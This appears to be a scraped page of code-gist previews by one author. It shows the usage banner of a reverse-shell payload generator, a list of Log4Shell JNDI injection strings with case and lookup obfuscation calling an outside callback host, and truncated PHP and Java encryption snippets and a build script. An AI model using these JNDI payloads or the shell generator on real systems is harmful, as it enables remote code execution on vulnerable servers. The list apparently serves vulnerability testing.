This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ $# -eq 0 ] | |
then | |
echo "##############################################################"; | |
echo "# CreateShell v0.1 - A fast way to generate payloads and open listeners for reverse shells"; | |
echo "# By Daniel ([email protected]) "; | |
echo "# Usage: createshell.sh lhost lport payload "; | |
echo "#"; | |
echo "# MSF short payloads : "; | |
echo "# [php|jsp|war|asp|python|bash|perl|linux32|linux64|win32|win64|osx]"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
${jndi:ldap://127.0.0.1:1389/ badClassName} | |
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} | |
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} | |
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk} | |
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} | |
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} | |
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} | |
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} | |
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} | |
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$token = "2"; | |
$cipher_method = 'aes-128-ctr'; | |
$enc_key = openssl_digest(php_uname(), 'SHA256', TRUE); | |
$enc_iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher_method)); | |
$crypted_token = openssl_encrypt($token, $cipher_method, $enc_key, 0, $enc_iv) . "::" . bin2hex($enc_iv); | |
unset($token, $cipher_method, $enc_key, $enc_iv); | |
dump($crypted_token); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package JavaPBEKeySpecEncryption; | |
/** | |
* | |
* @author daniel | |
*/ | |
import java.io.Console; | |
import java.io.IOException; | |
import java.security.*; | |
import java.io.ByteArrayOutputStream; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package PasswordEncryption; | |
/** | |
* | |
* @author daniel | |
*/ | |
import java.io.Console; | |
import java.io.IOException; | |
import java.security.*; | |
import java.io.ByteArrayOutputStream; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
skip_composer=0 | |
skip_npm=0 | |
for arg in "$@" | |
do | |
if [ "$arg" == "--skip-composer" ] | |
then | |
skip_composer=1 | |
fi |